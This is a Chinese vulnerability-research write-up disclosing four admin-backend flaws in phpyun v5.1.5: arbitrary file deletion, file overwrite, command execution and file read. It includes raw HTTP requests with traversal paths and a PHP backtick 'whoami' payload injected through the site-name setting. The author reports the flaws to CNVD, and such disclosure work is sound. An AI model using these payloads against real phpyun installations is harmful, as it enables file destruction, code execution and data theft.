phpyun人才招聘系统v5.1.5版本漏洞挖掘过程。
发布这篇文章的时候,貌似更新到6.x.x版了?但不知道修复没有,不过涉及漏洞均已提交 CNVD
环境搭建
源码下载:https://www.phpyun.com/bbs/thread-16786-1-1.html
正常安装即可
本地搭建应用的地址为 http://www.phpyun515.com/
phpyun防御简析
可能是笔者实力实在是太菜了,主要还是围绕着后台的漏洞进行挖掘,前台看得也比较少。而且不得不说phpyun对于 sql注入的过滤的还是比较好的,因此也没有挖掘到 SQL的漏洞。
admin/index.php,加载了 config/db.safety.php(global.php中加载)
在 159行左右,执行 quotesGPC函数

$_GET,$_POST,$_COOKIE都由 addSlash处理

这个是很基本的操作,但是也很有效
在之后,又有另外一手操作 common_htmlspecialchars (加载他的代码太长,没有贴出来)

过滤了 00等,然后又有 strip_tags,gpc2sql,我们来看看 gpc2sql函数

这里将一些关键字全部替换了,像单引号双引号括号这些,直接替换成了中文的,没有括号这些,连代码执行都很难搞了。
好了,防御部分代码就说到这里了
漏洞目录
- 后台任意文件删除漏洞
- 后台任意文件写入漏洞
- 后台命令执行漏洞
- 后台任意文件读取漏洞
都是需要登录后台 http://www.phpyun515.com/admin/index.php
默认账号密码为 admin / admin
后台任意文件删除漏洞
漏洞复现
按照如下选择
工具 -> 数据 -> 数据库管理 -> 备份数据

备份一个数据(也可跳过,直接去之后的发包,这里只是为了有数据可以删除)
备份后来到 恢复数据,点击删除并抓包

修改 get 中的 sql参数为自己想要删除的目录位置,可以使用 ../,这里为了显示测试效果,已经在 www下建立好了测试文件夹

正常的删除路径如下,是图中的 phpyun_phpyun_ad_20211023220840

因此我们构造 sql=../../../../../test 发包

我们再来看看 WWW文件夹

整个 test文件夹与其下文件都被删除
漏洞分析
先来看看路由,我们看到 /admin/index.php

由 m以及 c控制使用的 controller与 action,在 POC中 m=database&c=del,因此我们访问的是 admin下的 model/database.class.php中的 del_action ,我们来看看处理

首先会 check_token,这个好说,就是检查 token,也就是 pytoken=de1c3e777158,只要是正常从删除数据库备份那里过来的都可以得到这样的 token,接着看
$handle = opendir(PLUS_PATH.'/bdata/'.$_GET['sql']);
直接拼接了 $_GET['sql']到 PLUS_PATH.'/bdata/'后面,这里就是漏洞的来源,实际上这个 $_GET在前面是有统一处理的,但没有过滤 ../这些字符,因此能造成一个目录穿越,接下来的代码就简单了,循环读取目录下的文件,拼接在后面,然后 unlink删除,最后删除整个文件夹,因此造成了本漏洞。
后台任意文件写入漏洞
漏洞复现
按照如下选择
工具 -> 生成 -> 首页生成

将首页保存路径修改为任意路径,即可生成首页,如果文件存在,那么将覆盖文件,可以达到任意文件覆盖的效果
这里先将 index.php备份为 index.php.bak ,注意 index.php的大小,此时只有 2KB

将首页保存位置(也就是 make_index_url)设置为 ../index.php,然后发包

此时查看 index.php,已经变成了 40KB

此时可以将 index.php与备份文件 index.php.bak 进行比对

已经完全不一样了,此时就达到了任意文件覆盖的目的
漏洞分析
先来看看路由,我们看到 /admin/index.php

由 m以及 c控制使用的 controller与 action,在 POC中 m=cache&c=index,因此我们访问的是 admin下的 model/cache.class.php中的 index_action ,我们来看看处理

默认的配置明显没有开启分站,因此我们直接看到 else语句,跟进 $this->webindex($_POST['make_index_url']);

前面都是在设置一些参数值,因此可以跳过,我们来到最后,打开 $path,将$content写入进去了,这里的 $path就是我们 POST的 make_index_url,在这里没有经过其他的处理,因此是我们可控的,并且以相对路径读取,所以是可以目录穿越的,因此我们可以达到覆盖任意文件的效果。
后台命令执行漏洞
漏洞复现
步骤一
按照如下选择
系统 -> 设置 -> 网站设置 -> 基本设置

将网站名称修改为
<?php echo `whoami`;?>
然后保存,保存后,如图所示

步骤二
按照如下选择
工具 -> 生成 -> 首页生成

更改首页保存路径为 ../aaa.php 即可在网站根目录生成 aaa.php
访问 http://www.phpyun515.com/aaa.php

可以看到已经执行了命令
漏洞分析
步骤一
更改基本设置抓包得到
POST /admin/index.php?m=config&c=save HTTP/1.1
Host: www.phpyun515.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1411
Origin: http://www.phpyun515.com
Connection: close
Referer: http://www.phpyun515.com/admin/index.php?m=config
Cookie: PHPSESSID=uje27rm43mjsqd2a8q5se7t5p3; lasttime=1634997649; ashell=426baa111758bda8ca6191308815b762; XDEBUG_SESSION=PHPSTORM
config=%E6%8F%90%E4%BA%A4&sy_webname=%3C%3Fphp+echo+%60whoami%60%3B+%3F%3E&sy_weburl=http%3A%2F%2Fwww.phpyun515.com&sy_webkeyword=phpyun%E4%BA%BA%E6%89%8D%E7%BD%91%2Cphpyun%E6%8B%9B%E8%81%98%E7%BD%91%2Cphpyun%E6%B1%82%E8%81%8C%2Cphpyun%E6%8B%9B%E8%81%98%E4%BC%9A%2C&sy_webmeta=PHP%E4%BA%91%E4%BA%BA%E6%89%8D%E7%B3%BB%E7%BB%9F%EF%BC%8C%E6%98%AF%E4%B8%93%E4%B8%BA%E4%B8%AD%E6%96%87%E7%94%A8%E6%88%B7%E8%AE%BE%E8%AE%A1%E5%92%8C%E5%BC%80%E5%8F%91%EF%BC%8C%E7%A8%8B%E5%BA%8F%E6%BA%90%E4%BB%A3%E7%A0%81100%25%E5%AE%8C%E5%85%A8%E5%BC%80%E6%94%BE%E7%9A%84%E4%B8%80%E4%B8%AA%E9%87%87%E7%94%A8+PHP+%E5%92%8C+MySQL+%E6%95%B0%E6%8D%AE%E5%BA%93%E6%9E%84%E5%BB%BA%E7%9A%84%E9%AB%98%E6%95%88%E7%9A%84%E4%BA%BA%E6%89%8D%E4%B8%8E%E4%BC%81%E4%B8%9A%E6%B1%82%E8%81%8C%E6%8B%9B%E3%80%81%E8%81%98%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%E3%80%82&sy_webcopyright=Copyright+C+20092014+All+Rights+Reserved+%E7%89%88%E6%9D%83%E6%89%80%E6%9C%89+%E9%91%AB%E6%BD%AE%E4%BA%BA%E5%8A%9B%E8%B5%84%E6%BA%90%E6%9C%8D%E5%8A%A1&sy_webtongji=&sy_webemail=admin%40admin.com&sy_webmoblie=1586XXXX875&sy_webrecord=%E8%8B%8FICP%E5%A4%8712049413%E5%8F%B7-3&sy_websecord=&sy_perfor=&sy_hrlicense=&sy_webtel=XXXX-836XXXXX&sy_qq=33673652&sy_freewebtel=400-880-XXXX&sy_worktime=&sy_listnum=10&sy_webadd=&sy_webclose=%E7%BD%91%E7%AB%99%E5%8D%87%E7%BA%A7%E4%B8%AD%E8%AF%B7%E8%81%94%E7%B3%BB%E7%AE%A1%E7%90%86%E5%91%98%EF%BC%81&sy_web_online=1&pytoken=de1c3e777158
这里可以知道,我们访问的是 /admin/index.php?m=config&c=save 并且写入的命令参数为 sy_webname
先来看看路由,我们看到 /admin/index.php

由 m以及 c控制使用的 controller与 action,在 POC中 m=config&c=save,因此我们访问的是 admin下的 model/config.class.php中的 save_action ,我们来看看处理

从上面的包来看,明显 config不为 uploadconfig,因此跳过这个 if语句,来到下面

首先 unset了 config与 pytoken的值,然后一些赋值,最后获取了 config的 model,然后将整个 $_POST放入 setConfig,我们跟进看看,位于 app/model/config.model.php

首先使用 select_all查询 admin_config表中的值,这是数据库 model这个父类实现的方法
然后遍历 $config获取所有的 name放入 alllist ,下面的就是遍历了 $data也就是上文的 $_POST,获取他的键,在 alllist中存在就更新,不存在就添加,我们跟进这个 upInfo来看看

update_once 也是数据库 model这个父类实现的方法,更新 admin_config的内容,因此我们写入命令执行的 sy_webname 也被写入了数据库,我们可以在数据库中看到,phpyun_是表前缀

步骤二
生成首页步骤抓包可得
POST /admin/index.php?m=cache&c=index HTTP/1.1
Host: www.phpyun515.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
Origin: http://www.phpyun515.com
Connection: close
Referer: http://www.phpyun515.com/admin/index.php?m=cache&c=index
Cookie: PHPSESSID=uje27rm43mjsqd2a8q5se7t5p3; lasttime=1634997649; ashell=426baa111758bda8ca6191308815b762; XDEBUG_SESSION=PHPSTORM
Upgrade-Insecure-Requests: 1
make_index_url=..%2Faaa.php&madeall=%E6%9B%B4%E6%96%B0%E9%A6%96%E9%A1%B5&pytoken=de1c3e777158
admin/index.php部分在上面讲了,我们直接来到 admin下的 model/cache.class.php中的 index_action ,我们来看看处理

首先是获取了一个 config的 model,在 post了 madeall,并且 $this->config['sy_web_site']默认不为 1的情况下,我们会进入 else语句,我们跟进 $this->webindex,参数为我们 post上来的路径,没有任何过滤,我们完全可控

这里可以直接看到下面几句,$content是由 $phpyun->fetch 得到,然后被写到我们能控制的 $path中去,所以我们只需要能控制 $content就可以,我们来看看 fetch的模板 phpyun/app/template/default/index/index.htm 的内容

我们跟进这个 fetch,这里就主要是 smarty的渲染部分,有点多,主要讲一下与本漏洞有关的部分
来到 app/include/libs/sysplugins/smarty_internal_templatebase.php
这里涉及到 smarty模板的编译,phpyun也许加了些自己的东西,但整体是差不多的,就是将上面图片的模板给编译,将标签,比如 {yun:}$title{/yun}变成 php代码,过程跳过,直接来到结果

编译后的代码被写入文件,然后被包含,图片中已经圈出来了路径,我们来看看编译后的文件

之前的 $title变成了图中的 $_smarty_tpl->tpl_vars['title']->value,而这个 tpl_vars['title'] 是从 $phpyun中传过来的,我们调试可以看到如下

这个 title 的 value中就包含了我们步骤一中可控的 sy_webname ,因此 title可控,然后被写入编译后的模板,之后被 include包含执行,因此带有 <?php echowhoami;?>的字符串被输出到模板中,然后被我们利用步骤二写入到 aaa.php文件,因此可以命令执行。
这里值得一提的是,phpyun中存在一些过滤代码,不能使用括号,目前只能使用 ```` 执行命令
后台任意文件读取漏洞
漏洞复现
步骤一
按照如下选择
系统 -> 设置 -> 网站设置 -> 基本设置

将网站地址修改为 . ,然后保存,保存后,如图所示

步骤二
直接发包,可以读取 php文件
GET /admin/index.php?m=database&c=down_sql&name=../../../qqlogin.php HTTP/1.1
Host: www.phpyun515.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://www.phpyun515.com/admin/index.php
Cookie: PHPSESSID=uje27rm43mjsqd2a8q5se7t5p3; XDEBUG_SESSION=PHPSTORM

漏洞分析
步骤一
更改基本设置抓包得到
POST /admin/index.php?m=config&c=save HTTP/1.1
Host: www.phpyun515.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1411
Origin: http://www.phpyun515.com
Connection: close
Referer: http://www.phpyun515.com/admin/index.php?m=config
Cookie: PHPSESSID=uje27rm43mjsqd2a8q5se7t5p3; lasttime=1634997649; ashell=426baa111758bda8ca6191308815b762; XDEBUG_SESSION=PHPSTORM
config=%E6%8F%90%E4%BA%A4&sy_webname=hr人才网&sy_weburl=.&sy_webkeyword=phpyun%E4%BA%BA%E6%89%8D%E7%BD%91%2Cphpyun%E6%8B%9B%E8%81%98%E7%BD%91%2Cphpyun%E6%B1%82%E8%81%8C%2Cphpyun%E6%8B%9B%E8%81%98%E4%BC%9A%2C&sy_webmeta=PHP%E4%BA%91%E4%BA%BA%E6%89%8D%E7%B3%BB%E7%BB%9F%EF%BC%8C%E6%98%AF%E4%B8%93%E4%B8%BA%E4%B8%AD%E6%96%87%E7%94%A8%E6%88%B7%E8%AE%BE%E8%AE%A1%E5%92%8C%E5%BC%80%E5%8F%91%EF%BC%8C%E7%A8%8B%E5%BA%8F%E6%BA%90%E4%BB%A3%E7%A0%81100%25%E5%AE%8C%E5%85%A8%E5%BC%80%E6%94%BE%E7%9A%84%E4%B8%80%E4%B8%AA%E9%87%87%E7%94%A8+PHP+%E5%92%8C+MySQL+%E6%95%B0%E6%8D%AE%E5%BA%93%E6%9E%84%E5%BB%BA%E7%9A%84%E9%AB%98%E6%95%88%E7%9A%84%E4%BA%BA%E6%89%8D%E4%B8%8E%E4%BC%81%E4%B8%9A%E6%B1%82%E8%81%8C%E6%8B%9B%E3%80%81%E8%81%98%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%E3%80%82&sy_webcopyright=Copyright+C+20092014+All+Rights+Reserved+%E7%89%88%E6%9D%83%E6%89%80%E6%9C%89+%E9%91%AB%E6%BD%AE%E4%BA%BA%E5%8A%9B%E8%B5%84%E6%BA%90%E6%9C%8D%E5%8A%A1&sy_webtongji=&sy_webemail=admin%40admin.com&sy_webmoblie=1586XXXX875&sy_webrecord=%E8%8B%8FICP%E5%A4%8712049413%E5%8F%B7-3&sy_websecord=&sy_perfor=&sy_hrlicense=&sy_webtel=XXXX-836XXXXX&sy_qq=33673652&sy_freewebtel=400-880-XXXX&sy_worktime=&sy_listnum=10&sy_webadd=&sy_webclose=%E7%BD%91%E7%AB%99%E5%8D%87%E7%BA%A7%E4%B8%AD%E8%AF%B7%E8%81%94%E7%B3%BB%E7%AE%A1%E7%90%86%E5%91%98%EF%BC%81&sy_web_online=1&pytoken=de1c3e777158
这里可以知道,我们访问的是 /admin/index.php?m=config&c=save

由 m以及 c控制使用的 controller与 action,在 POC中 m=config&c=save,因此我们访问的是 admin下的 model/config.class.php中的 save_action ,我们来看看处理

从上面的包来看,明显 config不为 uploadconfig,因此跳过这个 if语句,来到下面

首先 unset了 config与 pytoken的值,然后一些赋值,最后获取了 config的 model,然后将整个 $_POST放入 setConfig,我们跟进看看,位于 app/model/config.model.php

首先使用 select_all查询 admin_config表中的值,这是数据库 model这个父类实现的方法
然后遍历 $config获取所有的 name放入 alllist ,下面的就是遍历了 $data也就是上文的 $_POST,获取他的键,在 alllist中存在就更新,不存在就添加。
返回上一步,setconfig后判断验证字符,正常情况下进入 $this->web_config(),跟进看看,来到 app/public/common.php

在这里,会获取 config的数据库对象,然后获取其键值对,存入 $configarr,不为空就进入 made_web,跟进,位于 app/include/public.function.php

这里是将 config的键值对写入了 data/plus/config.php文件,我们看看内容

步骤二
读取文件步骤抓包可得
GET /admin/index.php?m=database&c=down_sql&name=../../../qqlogin.php HTTP/1.1
Host: www.phpyun515.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://www.phpyun515.com/admin/index.php
Cookie: PHPSESSID=uje27rm43mjsqd2a8q5se7t5p3; XDEBUG_SESSION=PHPSTORM
admin/index.php部分在上面讲了,我们直接来到 admin下的 model/database.class.php中的 down_sql_action ,我们来看看处理

这里获取 $this->config[sy_weburl],然后拼接了 /data/backup/$_GET[name],$_GET[name]可控,并且没有过滤掉 ../,关键是在于 $this->config[sy_weburl],我们看看这个 config是如何获取的,直接定位 $this->config的位置,发现存在于 app/public/common.php

可以看到是由 global $config得到的,我们再次定位,发现是在 admin/index.php中调用了 global.php文件,而在 global.php直接包含了 data/plus/config.php获得了变量 $config

所有 $this->config是由 $config得到的,而我们在网站后台可以控制$config内容。原本的 sy_weburl是网站链接,因此只会读取网站中的内容,而我们通过改变 sy_weburl 为 .,就可以实现任意文件读取。
总结
总的一句,还是自己太菜,没有挖掘到前台的洞,再啰嗦一句,命令执行那个洞,没法使用括号等,只能用 ``` 。如果有了编号,再给补上吧,不过文件删除那个洞 CNVD说我撞洞了,个人认为是没有撞洞的。文中漏洞均已提交 CNVD
- 本文作者: SNCKER
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1051
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!